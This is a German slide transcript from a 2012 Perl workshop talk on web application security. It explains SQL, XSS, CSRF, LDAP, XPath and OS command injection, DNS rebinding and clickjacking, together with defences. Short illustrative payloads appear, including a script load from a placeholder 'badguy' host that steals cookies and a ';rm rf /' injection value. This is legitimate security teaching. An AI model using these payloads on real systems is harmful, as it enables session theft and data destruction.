about:config .init Web 2.0 Security Abenteuer Internet Steffen Ullrich, GeNUA mbh Deutscher Perl Workshop 2012, Erlangen about:me
|
|
- Magdalena Kaufer
- vor 2 Jahren
- Abrufe
Transkript
1 about:config J Down left MB K Up right MB Right Left <Return> O T escape F5 S. nächster Punkt vorhergehender Punkt nächste Seite vorhergehende Seite zur Seite springen im Inhaltsverzeichnis Outline Mode on/off Inhaltsverzeichnis on/off zwischen Styles rotieren.init Web 2.0 Security Abenteuer Internet Steffen Ullrich, GeNUA mbh Deutscher Perl Workshop 2012, Erlangen about:me seit 1996 Perl Autor von Net::SIP, Net::Inspect, Mail::SPF::Iterator... Maintainer IO::Socket::SSL seit 2001 bei GeNUA mbh Entwicklung Hochsicherheitsfirewalls GeNUGate seit 2011 Forschungsprojekt BMBF "Padiofire" Web 2.0 Sicherheit about:presentation Web 2.0 Security was ist Web 2.0 Architektur Angriffe Verteidigungsmöglichkeiten für Entwickler und Anwender hohe Informationsdichte! Konzepte erfassen, Details später nachlesen bei Fragen bitte unterbrechen
2 Web 2.0 Was ist Web 2.0 Was ist Web 2.0 dynamisch, interaktiv, nutzerspezifisch Rich Client: HTML, Javascript, CSS, Multimedia, (Flash, Silverlight...) Sessions, Datenbanken, Authorisierung Inhalte oft nutzergeneriert, aus diversen Quellen vereinigt grundlegende Architektur Server: Speichern, Aggregieren, Bereitstellung der Daten Middleware: Weiterleitung der Daten Client (Browser u.a.): Darstellung der Daten Nutzerinteraktion Generierung/Veränderung von Daten Überblicksbild grob Überblicksbild fein
3 grundlegende Probleme viele miteinander komplex interagierende Komponenten mangelhaftes Verständnis Funktion und Interaktionen ungerechtfertigtes Vertrauen in korrekte Funktion Designprobleme des Spezifikation Umsetzung konträr zur Spezifikation.next anhand von konkreten Beispielen interagierende Komponenten beschreiben Sicherheitsprobleme zeigen Verteidigung/Workarounds bieten und deren Komplexität verdeutlichen Top Buzz: SQL Injection, XSS, CSRF dann Rest systematischer und je nach Zeit erste Hälfe primär Angriffe zweite Hälfte (nach Pause) primär Verteidigung Ziele des Angreifers Ziele & Mittel des Angreifers
4 Ziele Informationsdiebstahl Identitätsmissbrauch Denial Of Service Resourcenmissbrauch Wege direkter Angriff auf Server SQL Injection lokale Exploits... Hijacking von (authorisierten) Sessions Session: Verbindung zwischen Client und Server nutzerspezifisch evtl. authorisiert Session Id in URL oder Formulardaten, Cookie Hijacking: Missbrauch der Session Formen des Session Hijacking aktive Session im Browser des Opfers missbrauchen Session Riding Session Id außerhalb vom Browser des Opfers zu nutzen Session Diebstahl Session Id klauen Session Fixation: Session Id vorab festlegen warten, das Opfer diese Session Id nutzt Session Prediction: Session Id erraten SQL Injection SQL Injection
5 Intro SANS Top#1 Most Dangerous Software Error /2012: Anonymous/Lulzsec vs. Sony, GEMA, HBGary, NATO, Apple,... Drupal, Wordpress, Joomla, Mambo... interagierende Komponenten: Webserver mit SQL Datenbank rouge Client Beispiel select * from table where id=$id; select * from table where id=42 or 1=1; Bild SQL Injection Analyse ungerechtfertigtes Vertrauen in Input Impact: Daten klauen Daten löschen Authentication Bypass
6 Fix: DOS... Validierung Escaping oder Parameter Binding SQL Escaping diverse Escaping Regeln in SQL Standard: 'string' single Quote verdoppeln 'foo''bar' 'foo\nbar' > 'foobar' comment MySQL: 'string'oder "string" 'foo\'bar' 'foo 'bar' escape ' ' SQL Escaping #2 PostgreSQL: E'foo\047bar' E'foo\'bar' $abc$foo'bar$abc$, $$foo'bar$$ B'bit', X'hex' /* comment */ Oracle: 'foo\'bar'...? '{foo'bar}' SQL Parameter Binding Escaping ist offensichtlich nicht wirklich trivial vielfältige Escaping Rules viele Möglichkeiten auszubrechen daher am besten Parameter Binding nutzen MySQL: select * from T where F=? Oracle:?, DBD::Oracle:?,:name
7 PostgreSQL:?,$1DBD::Pg:?,$1,:name gutes Framework/ORM benutzt Parameter Binding XSS XSS Intro XSS Cross Side Scripting auch eine Injection SQL Injection SQL Statement ändern XSS Injection (Java)script einschleusen XXX Injection Programmablauf (ungeplant) ändern SANS Top#4 Most Dangerous Software Error 2011 nach SQL Injection, OS Command Injection und Buffer Overflow (Code Injection) Möglichkeiten voller Zugriff auf DOM weiteres Script nachladen Session Diebstahl, z.b document.cookie weiterleiten Session Riding Daten auslesen (Passwörter, hidden Formularfelder...) Seite manipulieren, z.b. unbemerkt meine Überweisungsdaten mit TAN von Nutzer bestätigen lassen "Browser Rootkit" zentraler Vektor Einfügen von Skript in HTML möglich an nahezu beliebigen Stellen von beliebigen Quellen Designproblem der Spezifikation Fix: Limitieren der Stellen und Quellen für Skript Content Security Policy (CSP, HTML5), Details später
8 Arten Stored XSS: irgendwo bösartiges Skript( fragment) gespeichert Server: Datenbank, Filesystem... 3rd Party Server (Ads, Tracking...) Middlware: Proxy,... Client: Cookie, Cache, localstorage... Reflected XSS: bad URL auf Client > Server > HTML + injected Script DOM XSS: Script Injection durch Manipulation des DOM im Browser große Vielfalt an Vektoren und Komponenten Bild XSS Komponenten Reflected XSS Server reflektiert Skriptcode vom Attacker zum Opfer Server: <input name=n value="$_post[n]"> n="><script%20src=http://badguy/attack.js> <input name=n value=""><script src=http://badguy/attack.js> attack.js: z.b. document.cookie auslesen und verschicken Variationen "><img%20src=x%20onerror="javascript..."> "%20onfocus="...
9 Bild Reflected XSS Analyse mangelhafte Validierung Input/Output im Server ungerechtfertigtes Vertrauen in Request Fix: Validierung, Normalisierung, Escaping im Server, Details später gerne auch in 404 Fehlerseiten zu finden "$URL not found", "wrong $value" Stored XSS (server side) Idee: kompromittierte Daten sind bereits in Datenbank, Filesystem.. durch SQL Injection, File Uploads, Webmail... Vektor: ungerechtfertigtes Vertrauen in Inhalt Datenbank, Filesystem.. Fix: Validierung, Normalisierung, Escaping im Server vor Ausgabe Bild Server Side Stored XSS
10 DOM XSS (lokal) gewünschte Skriptausführung durch Modifikation des DOM ohne Beteiligung des Servers Beispiel document.write('<input type=hidden name=h value="' + location.href + '">') URL <input type=hidden name=h value=""><img src=x onerror="..." Variationen mit document.referrer Bild lokales DOM XSS
11 Analyse ungerechtfertigtes Vertrauen in Variablen, die nicht unter Kontrolle des Skriptes sind Fix: Validierung, Escaping CSRF CSRF Intro CSRF Cross Site Request Forgery SANS Top#12 Most Dangerous Software Error 2011 Form des Session Riding: Browser des Opfers führt Aktion aus interagierende Komponenten: Client: Cookiestore Webserver mit aktiver Session zu Client Beispiel
12 in attacker/foo.html Cookie für Server wird mit übertragen Variationen: <form action=http://server/doit <img src=http://server/doit Bild CSRF Session Riding Analyse Cookie für Server wird übertragen, auch wenn Origin nicht Server Designproblem Cookieverhalten Workarounds: Origin, Referer checken geheimes CSRF Token, gebunden an Session allgemeiner Schutz vor Session Riding Komplexeres Beispiel Komplexeres Beispiel
13 Hijack via DNS + XSS 2008 nslookup localhost.ebay.com > XSS auf CUPS ( :631) Kombination: eingeloggt auf ebay.com Zugriff auf localhost.ebay.com:631 XSS: Auslesen document.cookie für *.ebay.com Session Hijacking Bild DNS+XSS Combo Cookie Policy Origin Host per Default (signin.ebay.com) incl. Subdomains und Parentdomain bei Bedarf (.ebay.com) Port nicht relevant (80 vs. 631) Zugriff aus Javascript (document.cookie) außer wenn httponly Protokoll egal, außer wenn secure Analyse
14 localhost.ebay.com:631 hat Zugriff auf.ebay.com Cookie Vektor#1: lokale IP in remote DNS Vertrauen in korrektes DNS nicht gerechtfertigt Fix: DNS Eintrag fixen Workaround: dnswall Vektor#2: XSS auf :631 interne Lücke von Außen ausnutzbar Fix: Validierung, Normalisierung, Escaping Vektor#3: Designproblem Cookies beliebige Subdomains oder keine beliebige Ports Workaround für Cookie Diebstahl: httponly Attribut kein Schutz gegen Session Riding Variation NXDOMAIN Hijacking durch ISPs kombiniert mit XSS in Landing Page Komponenten.next
15 weitere Attacken ungerechtfertigtes Vertrauen in 3rd Party Middleware server local data Authorization Diebstahl Bypasses Authorization Zugriffsrechte Server Network segmentation UI Redressing Clickjacking Pause misplaced Trust Misplaced Trust 3rd Party Skript man kann Skripte via <script src=...von externer Quelle einbinden diese haben vollen Zugriff auf DOM Beispiele: Google Analytics, Facebook u.a. Tracking Dienste Adserver Javascript Bibliotheken von zentraler Quelle Impact: Session Diebstahl, Session Riding Bild Trust 3rd Party Script
16 Analyse diese Skripte sind oft außerhalb der eigenen Kontrolle Codequalität Zuverlässigkeit, Sicherheit externer Infrastruktur Sicherheit Middleware (DNS) Vektor: Vertrauen oft nicht gerechtfertigt insb. Adserver in Vergangenheit betroffen Fixes: keine externen Server einbinden Einbinden via (sandboxed) iframes Vorsicht vor UI Redressing Attacken Misplaced Trust in Middleware Man In The Middle Angriffe rouge WLANs mit vertrauenserweckenden Namen kompromittiertes Netz (via DNS Hijacking, ARP Spoofing) Session Diebstahl: Firesheep fragile PKI Infrastruktur + Law Enforcement Ads einbetten durch ISP Proxy Injection Middleware kann Skripte einschleusen oder verändern kann Browsercache kompromittieren ga.js mit Cache control: max age Schutz: HTTPS mit Certifcate Pinning, VPN
17 aber WLAN freischalten braucht evtl. bereits Browser öffentliche Computer (Internetkiosk..) vermeiden Misplaced Trust in Server Local Data interne Skripte in anderer oder gleicher Domain die für andere Trustbereiche gedacht sind unterliegen weniger Qualitätskontrolle teilweise nicht klar, das überhaupt Skript vorliegt (Userdata) betrifft auch andere aktive Inhalte (Flash, Silverlight...) Impact: Session Diebstahl, Session Riding Bild local Scripts Analyse Vektor: Vertrauen oft nicht gerechtfertigt 2007 Google Mail XSS via Lücke in blogspot Polling Script Schutz: Trustbereiche festlegen Codequalität muss zu Trustbereich passen kein Mix von Trustbereichen via Script Includes, besser (sandboxed) iframe
18 am besten seperate Domains je Trustbereich Cookie Policy verhindert dann Cookie Diebstahl Same Origin Policy und Frame Policy verhindern weitere Interaktionen Same Origin Policy Interaktion nur mit Inhalten gleichen Ursprungs (Origin) Origin = Protokoll und Hostname (nicht IP) und Port (nicht IE) beschränkt Zugriff auf andere Frames, XMLHTTPRequest, localstorage... Includes via <script src=, <style src=...sind davon nicht betroffen analoger Mechanismus für Flash, Silverlight Plugins (Java anders) kann via document.domain setzen bewusst aufgeweicht werden Frame Policy wer kann auf Frame Inhalt zugreifen, neue Daten in Frame laden.. abhängig von Origin (Same Origin Policy) und Vererbungen komplex und in Vergangenheit buggy Authorization Diebstahl Authorization Diebstahl Intro Klauen der Authorization Credentials oder auch Setzen auf neue Werte entweder Nutzer bekannt, will Passwort haben oder Abgreifen von User+Password Kombinationen aus hijacked Session heraus oder wenn Nutzer nicht eingeloggt ist oder am Server Erraten des Passworts Vektor: automatisiertes Checken Passwort gegen Dictionary
19 Fix: Begrenzung der Anzahl an Versuchen je Zeit Vektor: Passwort zu einfach Fix: Benutzen/Forcieren komplexer Passwörter Vektor: Passwort Reuse Fix: don't reuse, use Passwortmanager, Schema o.ä Auslesen/Setzen in hijacked Session Vektor: Session authorisiert, Passwort auslesen Fix: kein Passwort anzeigen, kein Klartext PW speichern Vektor: Passwort ändern Abfrage aktuelles Passwort vor Setzen eines neuen Vektor: Passwort Reset Token an hinterlegte E Mail verschicken Ändern der E Mail nur mit Passwort ermöglichen Auslesen der Daten via Passwortmanager via XSS Login Formular erstellen oder durch File Uploads o.ä. Techniken einige Browser füllen automatisch das Formular aus via XSS Auslesen der ausgefüllten Informationen Schutz: kein Abspeichern zulassen (autocomplete=off) Passwordmanager mit Masterpasswort+Timeout nutzen Passwordmanager nutzen, der nur auf Interaktion ausfüllt Abgreifen der Daten als Man In The Middle analog zu Session Hijacking via MITM Schutz: HTTPS + Certificate Pinning Variante: Passwort Reset Mails abfangen Kompromittierung Server Server knacken, um Authorization Daten auszulesen z.b. via lokalen Exploit oder via SQL Injection Schutz:
20 Server sichern SQL Injection durch Validierung, Escaping.. verhindern Passort nur crypted und mit ausreichendem Salt speichern Passworthints in DB können Knacken vereinfachen SANS TOP#8 "Missing Encryption of Sensitive Data" Authorization Bypass Authorization Bypass Intro Erlangung von Informationen ohne Authorisierung authorisierte Manipulation von Daten ohne Passwort zu kennen Authorization Seite umgehen manchmal Authorization nur über Seite, in der dann die Inhalte ungeschützten Inhalte verlinkt sind URL der Inhalte erraten Directory Index Zugriff via ftp Server Beschränkungen für unauthorisierte Nutzer via Javascript oder Cookies realisiert Javascript ausschalten Cookies regelmäßig löschen NY Times Paywall: Query Parameter löschen in URL Vektor: Mulumulu statt Authorization benutzt Fix: use Authorization!
21 Bypass via LDAP Injection bei Authorisierung gegen LDAP Server Vektor: query="(cn="+$username+")" Attacke: username=* Resultat: (cn=*) fehlerhaft authorisierter Zugriff Fix: Validierung, Escaping Bypass via SQL Injection bei Authorisierung gegen SQL Datenbank Vektor:...where user='$user' and pw='$pw' Attacke: pw=' or ''='...where user='...' and pw='' or ''='' fehlerhaft authorisierter Zugriff Fix: Validierung, Escaping Server Permission Bypass Server Permission Bypass Intro an den Zugriffsmechanismen des Webservers vorbei auf sensitive Daten zugreifen Quellcode PHP Seiten mit Datenbank Passwort /etc/passwd Datenbankfiles Umgehung der Schutzmechanismen des Servers document root.htaccess o.ä. Bild Permission Bypass
22 Bypass via Path Traversal Vektor: mangelnde Inputvalidierung Server hat zu grosse Zugriffsrechte Schutz: Validierung unter Beachtung der weiteren Schichten des Systems URL Escaping Charset Normalisierung Shell Escapes Path Normalisierung Server keinen direkten Zugriff auf sensitive Daten geben (jail) Bypass via Alternate Data Streams Vektor, Schutz: analog zu Path Traversal Network Segmentation Bypass Network Segmentation Bypass Intro blindes Vertrauen: interne Systeme von Firewall geschützt
23 Sicherheit der Systeme selber vernachlässigt siehe auch Session Hijacking via XSS/CUPS+DNS Kombo Attacke oder auch Router umprogrammieren haben oft kein Passwort oder noch das Herstellerpasswort man kann z.b. DNS Server ändern Blackhat 2010: "How To Hack Millions Of Routers" DNS Rebinding beteiligte Komponenten: Browser zu attackierender Webserver auf Clientseite attacker Domain attacker.com mit Webserver und kontrolliertem DNS Server Idee: DNS Server für attacker.com liefert mal und mal Umsetzung Request#1: DNS Lookup: Resultat: XMLHTTPRequest('http://attacker.com') Request#2: DNS Lookup: Resultat: voller Zugriff auf lokales System zb als Proxy gesteuert für Attacker dienen Bild DNS Rebinding
24 Analyse Vektor allen DNS Servern wird vertraut fehlende Verifizierung Host Header auf Router Fix: Validierung Host Header im Server Workarounds: DNS Pinning in Browser, Proxies... (z.z. leicht auszuhebeln) DNS Proxy mit Filter für interne Adressen (dnswall) UI Redressing UI Redressing Intro dem Nutzer bekannte Merkmale nachbilden um ihn zu Aktionen zu bewegen Windows Dialoge "Virus gefunden" o.ä komplette Browser nachbilden mit angeblichem https://bank/.. sslstrip "safe" favicon Schutz: sehr schwierig non Standard Umgebung benutzen in der Redressing auffällt
25 existente Elemente von Webseite (Buttons etc) in anderen Kontext einbetten (iframe) Clickjacking einzelne Buttons o.ä aus zu attackierender Seite in andere Umgebung einbetten nur in anderem Kontext zeigen oder überlagern mit anderem Aussehen (Button/Keypress durchreichen) in Kombination mit authorisierten Sessions oder Passwort Autofillout Facebook Friending, Router Rekonfiguration... Nutzer zum Button Press, Key Press etc bringen Bild Clickjacking Analyse Vektor: Designproblem Interaktion Frames/Windows Rendering Frameinhalt und position leicht vorhersagbar teilweise Workarounds: Javascript Frame Busting CSP, X Frame Options: DENY SAMEORIGIN NoScript Variation: Pop Under + Doppelklick erster Klick bringt Pop Under nach oben zweiter Klick wird dann auf zu attackierender Seite ausgeführt BREAK!
26 PAUSE!.next Zusammenfassung Schutzmechanismen Details Validierung, Normalisierung, Escaping Besonderheiten bei Content type und Charset weitere Angriffsvektoren Was bringt uns die Zukunft Resourcen Zusammenfassung Schutzmechanismen Schutz der Session gegen Hijacking Validierung Input Normalisierung, Validierung, Escaping vor Ausgabe oder Weitergabe Ziel: Angriffsfläche verringern Aufwand für Angriff vergrößern "Best Effort" vs. "Best Security" viele Webseiten broken Browser/Proxies arbeiten drum herum "muss gehen" statt "muss sicher gehen" Anwender/Webdesigner merken daher nicht, wenn etwas broken ist und es bleibt damit broken und man muss damit auch in Zukunft klarkommen :( Schutz gegen Hijacking Schutz der Session Session Diebstahl
27 XSS verhindern z.b. mit CSP Limitierung Angriffsfläche durch httponly Attribut für Cookies Cookie nur auf Host beschränken wenn möglich SSL benutzen und secure Attribut für Cookie setzen evtl. Browser Fingerprint, IP... einfliessen lassen bei Änderung Re Authorizierung erforderlich ständig wechselnder Session Id, kurze Timeouts Riding, Fixation, Prediction Session Riding: XSS/CSRF verhindern Session Fixation: neuer Session Id bei Wechsel Trust bewusste Namenskollisionen zu vermeiden foo.host.com und bad.host.com können beide.host.com cookie setzen nicht vorhersagbaren Cookienamen benutzen Session Prediction: random Session Id klare Trustbereiche verhindern, das Skripte mit niedrigem Vertrauen Daten mit höherem Vertrauen kompromittieren klarwerden, welche Trustbereiche existieren kein <script, <style aus unterschiedlichen Trustbereichen mixen Nutzung von Same Origin Policy und Cookie Policy als Wände verschiedene Domains je Trustbereich verschiedene Subdomain, Ports.. nicht ausreichend gut: schlecht: user1.wordpress.com, user2.wordpress.com Validierung Validierung warum Überprüfen, ob Daten den Erwartungen entsprechen
28 muss vor Weiterverarbeitung der Daten geschehen Normalisierung vor Validierung vereinfacht diese aber dann auch normalisierte Daten weiterverarbeiten! Inputvalidierung Server woher kommt der Request (wg. CSRF) für wen ist er bestimmt (wg. DNS Rebinding) Validierung Formularfelder Validierung Fileuploads Herkunft und Ziel von Request prüfen Kontext: Origin bzw. Referer Header für mich? Host Header gültiger Session Id gültiges Anti CSRF Token, sollte mit Session assoziiert sein! evtl. Clientzertifikat Inputvalidierung Formulare nicht auf Restriktionen im Client verlassen Normalisieren vor Validierung und Verarbeitung Charset berücksichtigen fehlende oder unerwartete/doppelte Parameter? stimmen Typ und Wertebereich? URL Whitelist statt Blacklist für Methoden kein feed://, mhtml://, file://, jar://..., javascript: gibt es nicht angebotene Optionen? Inputvalidierung Fileuploads Größe bereits beim Upload beschränken Content Type ermitteln Normalisieren Typ und Extension ist Typ erlaubt? Doppeldeutigkeiten durch Normalisierung verringen
29 Forwardvalidierung Server Validierung und Escaping für SQL, XPATH, LDAP... Parameter Bindung wenn möglich bevorzugen Outputvalidierung Server nicht darauf vertrauen, das Daten in DB normalisiert sind beim Normalisieren und Escaping beachten, in welchem Kontext die Daten stehen Validierung des Ziels im Browser DNS ist unsicher, DNSSec benutzen bei https Serverzertifikat prüfen Certificate Pinning benutzen nur ausgewählten CAs vertrauen CRLs/OCSP zwingend prüfen ist Ziel wirklich trusted in diesem Kontext? (Ad/Trackingserver) bei postmessage klares Ziel statt * übergeben Herkunft im Browser überprüfen location.href, document.referrer... sind manipulierbar Wert kann nicht vertraut werden Origin von Interframe postmessage prüfen Quellframe kann inzwischen aber auch andere URL haben analog bei Interframe Kommunikation via Flash Eingaben im Browser prüfen primär Komfort für User kein Ersatz für serverseitige Prüfung Normalisierung Normalisierung
30 was ist das Ambivalenzen in der Interpretation der Daten vermeiden störende Informationen entfernen whitelisten, nicht blacklisten norm(data) == norm(norm(data)) erst normalisieren dann validieren dann verarbeiten bzw. ausliefern Normalisierung HTML Text bzgl. Entities gleich behandeln alle Attribute gleichartig quoten <,>,& überall quoten, ",' in Attributen auch beachten, das script, style, textarea... Bereiche speziell sind MSIE akzeptiert auch ` quotes ersetzen Attribut id nicht oder nur eingeschränkt erlauben (HTML Injection Attacke) onxxx=, style=, script und style Bereiche besser entfernen URLs whitelisten: nur http/https, kein file, mhtml, javascript, feed.. data URLs nicht oder nur sehr eingeschränkt erlauben nur valide Attribute für Tag erlauben HTML5::Sanitizer nicht perfekt, aber i.a. ausreichend Normalisierung XHTML analog zu HTML, aber... muss valides XML sein script, style, textarea etc sind nicht speziell, CDATA nutzen gegen XHTML Schema prüfen Normalisierung Bilder, Audio, Video strip überflüssige Metadaten (EXIF...) normalisieren Metadaten (z.b. bzgl. Charset) Recodieren gegen Dual Content Type Attacken für Optimierung Bildgröße
31 um vom Client unterstützte Formate+Eigenschaften zu bekommen Normalisierung PDF strip Javascript u.a. Features z.b. mittels pdf2ps ps2pdf Normalisieren Word etc will man sowas wirklich zum Upload erlauben? Macros OLE diverser Arten besser konvertieren nach PDF Normalisieren anderer Sachen lieber verbieten ansonsten datenspezifische Parser benutzen Lücken lauern überall Escaping und Encoding Escaping und Encoding was ist das Methode spezielle Zeichen darzustellen Sonderzeichen (NUL, CR, LF, TAB...) Unicode mit führender Escapesequenz: \n,\r oder encoded: \012,\x34,8,\u1234,%67... je nach Kontext unterschiedlicher Syntax kontextspezifisches Escaping
32 bisherigen Escape Kontext des Strings feststellen benötigten Kontext für Escaping feststellen Kontext Upgrade via Escaping wenn erforderlich HTML relevante Kontexte (X)HTML Text und Attribute Javascript Programm, Stringkonstanten, E4X CSS Anweisungen, Stringkonstanten URLs SQL, XPATH, LDAP, OS cmd... HTML Kontext Text Entities &name; &dec; &#hex; Minimum: > < & FF: &na\0me; &\0dec; &\0#hex; IE: ignoriert \0 sowieso HTML Kontext Attribute alle HTML Kontext ("...) style= HTML + CSS Kontext { co&x6cor: #fff; } xxx=javascript:.. (href,src..) HTML + Javascript Kontext javascript:... javascript&col\0on... onxxx= (onload,..) HTML + Javascript Kontext xxx=link (href,src...) HTML + URL Kontext Quoting nach Bedarf, aber empfohlen HTML Kontext Bereiche <script..</script> Javascript Kontext <style..</style> CSS Kontext <textarea..</textarea>, plaintext... CDATA XHTML Kontext Text: wie HTML Attribute: wie HTML, müssen aber immer gequotet sein
33 spezielle Bereiche: keine für script, style etc müssen CDATA Bereiche erstellt werden oder es muss wie Text behandelt werden (Entities werden expandiert) CSS Kontext Anweisungen ASCII Stringkonstanten Unicode \uh{1,6}, evtl. Space danach Character Escaping: \C eigentlich nur Unicode/Escaping innerhalb von Stringkonstanten aber MSIE macht es auch im Anweisungsteil und unescaped vor dem CSS Parsen! style="color:\065xpression\028 alert\028 1\029\029;" style="color:expression(alert(1));" Javascript Kontext Anweisungen ASCII Unicode \xhhhh (nur 16bit Unicode) Escape \oooo, \xhh, \C Unicode etc nicht nur in Stringkonstanten alert \u0061lert javascript:\u0061lert('hi') E4X XML? URL Kontext ASCII method:data, method://host[:port]path RFC1739 schränkt Anteil an erlaubten Characters ein path URL Escaping %HH, method,host,port kein Escaping nötig keine Angaben zu verwendetem Charset (außerhalb ASCII) Content type Content type
34 was ist das wie interpretiere ich die Daten Daten ohne Magic Daten mit ambivalenter Magic HTML vs. XHTML vs. XML vs. XSLT vs. plain Text ZIP vs. JAR vs. ODF vs. DOCX... Content type HTTP Response Content type Header Standard: nur raten wenn unbekannt oder invalid z.b. auch bei ftp URLs MSIE weiß es gerne mal besser halbwegs dokumentiert, jedoch komplex und Änderungen unterworfen inzwischen mit X Content Type Options: nosniffausschaltbar bei image/* eigentlich allen Browsern egal, Hauptsache image/ Content type HTTP Request für Formulare per enctype spezifiziert Typ von File Uploads nicht spezifiert > Raten daneben noch diverse Framework interne Typen für JSON, XML... Dual Content Types Upload erlaubt nur bestimmte MIME Tpen, z.b. GIF Upload: GIF87a=1;..bad script.. dann Einbinden als script, css, MHTML,.. Kontext bestimmt Interpretation, nicht Content Type header Designfehler Content Type sollte IMMER ausschlaggebend sein Designfehler CSS Müll wird per Standard überlesen 2010 Cross Origin CSS (POF Yahoo Mail) "Upload" kann auch Liste von Mail Subjects sein Designfehler Browser Müll wird per Design meist überlesen
35 Workarounds starke Restriktion Uploadformate Downloads nur mit lokalem Referer/Origin erlauben Links, Embeddings von lokalem Content in uploaded HTML stark limitieren script, style... in uploaded HTML verbieten Charsets Charsets was ist das US ASCII: nur 7bit IE hat früher das 8te bit einfach ignoriert "\xbc" == "\x3c" == "<" latin1, cp850, windows 1252, iso , iso : 8bit fast das gleiche ASCII als Basis iso 8859 X: analog zu latin1 Shift JS kann char "verstecken" "\xe0<!.." > "!.."(Opera, IE?) Unicode: mehrere Bytes, evtl. je nach Character immer Character, nicht Bytes verarbeiten! "\u202a/"!= " */" Charset Unicode alt: 16bit, neu: 24bit nicht alle Charpoints gültig \p{word}!= \p{perlword}, analog Spaces.. diverse Encodings: UTF 8, UTF 16/32 LE/BE, 2xUTF 7, UCS 2/4 UTF 7 sollte als Angriff betrachtet werden UTF 8 kann alles, man sollte darauf normieren 1..6 Bytes, 1 Byte == ASCII nicht alle Bytefolgen gültig nur minimale erlaubt muss man erzwingen für Normalisierung
36 Charsets HTTP Response HTTP Header Content type: text/html;charset=... <meta charsetund <meta http equiv="content type"... Einbetten via <script charset=...und <style charset=... data="text/html;charset=... inner Frame erbt Charset von outer Frame Charset Detection (ICU) wenn kein explizites Charset (BOM,...) was passiert, wenn sich Angaben widersprechen? MSIE beharrt auf UTF 7, wenn UTF 7 BOM gefunden selbst wenn Charset explizit gegeben Charsets HTTP Request preferred Charsets für Formulardaten accept charset wenn nicht gegeben, dann i.a. Charset von HTML Seite aus Request nicht sichtbar, was verwendet wurde > Raten bei File Uploads Charset nicht übermittelt > Raten Dual Charset Upload als ASCII Download als.. <style charset=... Charset outer Frame Default für Charset inner Frame Ursache: Designproblem mehrere Stellen für Charset Definition + Autodetection Workarounds: Default Charset per HTTP Header kein <meta charset=o.ä. in uploaded HTML erlauben aber: MSIE UTF 7 Detection ignoriert selbst explizites Charset aus HTTP Header Uploads konvertieren nach UTF 8 explizite BOM Entscheidungen im Server Input Charset vom Formular Charset für Normalisierung Charset in Datenbank, Datenbankconnector, Filesystem, Inhalt von Files Charset in User Content, externen Includes
37 Output Charset für Seite am besten an allen Stellen auf explizites utf 8 normieren, um Charset Downgrade zu vermeiden weitere Attacken Weitere Attacken offene Daten Patientendaten, Firmengeheimnisse... offen auf Webserver Vektor: "aus Versehen" Idiot hat Schreibrechte für public Server "ich dachte das wäre das Intranet" fehlende Trennung extern/intern "das Verzeichnis war durch robots.txt geschützt" falsche Vorstellung von Sicherheit "es wusste doch keiner der Filenamen" dito... Fix: Trennung extern/intern abgestufte Zugangsrechte verbunden mit sinnvoller Schulung OS Command Injection system( "sendmail f $from $to" ) to=";rm rf /" Fix: Validation, Escaping, system(array) RFI/LFI Remote/Local File Inclusion PHP: include($_get["action"]) RFI: LFI: Fix: Verifizierung der Parameter Session Fixation
38 beeinflussen, welchen Session Id der Nutzer bekommt warten, das Server Session Id mit Nutzer assoziiert und dann mit dem bekannten Session Id Unfug treiben Bild Session Fixation Session Id in URL Session Id ausdenken oder validen Session Id von Server benutzen URL mit Session Id dem Opfer zukommen lassen (Mail, Link...) warten, bis sich Nutzer mit diesem Session Id einloggt Server assoziiert Nutzer mit Session Id Vektor: mangelhaftes Verständnis Interaktionen Fix: bei Wechsel der Authorization immer neuen Session Id ausstellen Cookie setzen aus Subdomain Session Cookie ausdenken oder validen Session Cookie von Server erfragen Opfer auf vom Attacker kontrollierte Subdomain lenken z.b. localhost.ebay.com Session Cookie für Parent Domain setzen warten das Nutzer sich damit einloggt Vektor: Fehldesign Cookies man kann Cookie für Parent Domain setzen nicht definiertes Verhalten, wenn verschiedene Origins gleichen Key für gleiche Domain benutzen
39 Fix#1: bei Wechsel der Authorization immer neuen Session Id ausstellen Fix#2: "random" Cookie Name Skriptbeeinflussung via HTML Injection <form id=location href=foo> IE8: location.href == 'foo' analog document.cookie, document.body.innerhtml.. Vektor: Designproblem Interaktion DOM/Javascript Workaround: Validierung, Normalisierung, Escaping Spezialbehandlung spezieller Variablen im Browser non Cookie Session Id Leak via XSS Vektor: Session Id in (hidden) Formularfeldern, URLs... XSS, auslesen der Informationen aus DOM Fix: XSS verhindern Session Id in HTML vermeiden z.b. nicht Session Id als CSRF Token einsetzen OSRF Origin Site Request Forgery interagierende Komponenten: Client: AppFrame, Cookiestore, OtherFrame/ExternApp Webserver mit aktiver Session zu Client CGI: link?type=question <img src=question.gif Attacke: link?type=/delete.cgi# <img src=/delete.cgi#.gif Cookie für Server wird mit übertragen Vektor: mangelhafte Validierung Input/Output im Server Fix: Validierung, Normalisierung, Escaping Session Id Leak via Referer für Cookie Verweigerer wird Session Id in URL gepackt
40 welche im Referrer zu beachten ist Vektor: mangelhaftes Verständnis der Interaktionen Fixes: Referrer als öffentlich ansehen und entsprechend behandeln keine externen Links zulassen strip Session Id von URL vor Weiterleiten nach Extern Session Id nur per POST Daten verschicken XPATH Injection XPath: Attacke: p=foo' or 'x'='x or 'x'='x']/salary Fix: Validierung, Escaping Parameterized XPath Expressions HPP http Parameter Pollution Formulardaten "id=<scr&id=ipt>" oder auch "id=<scr"in URL und "id=ipt>"in POST Daten oder auch "id=<scr%26id=ipt>" Resultat: je nach System "<scr", "ipt>", "<script>", "<scr,ipt>", ['<scr','ipt>'],... Impact: Umgehung von WAF, Inputfiltern, mod_rewrite etc Vektor: mangelnde Spezifikation Verhalten in Standard fehlerhafte Normalisierungen Workaround: die() wenn Parameter mehrfach open Redirector Redirect Vertrauen zu 'good' nutzen um nach 'bad' zu verbinden Header und Daten einschleusen? print "Location: $url\r\n"..?url=http://bad/%0d%0a%0d%0a<script... XSS: <meta http equiv=refresh content=..url=$url Fix: nur trusted url Parameter
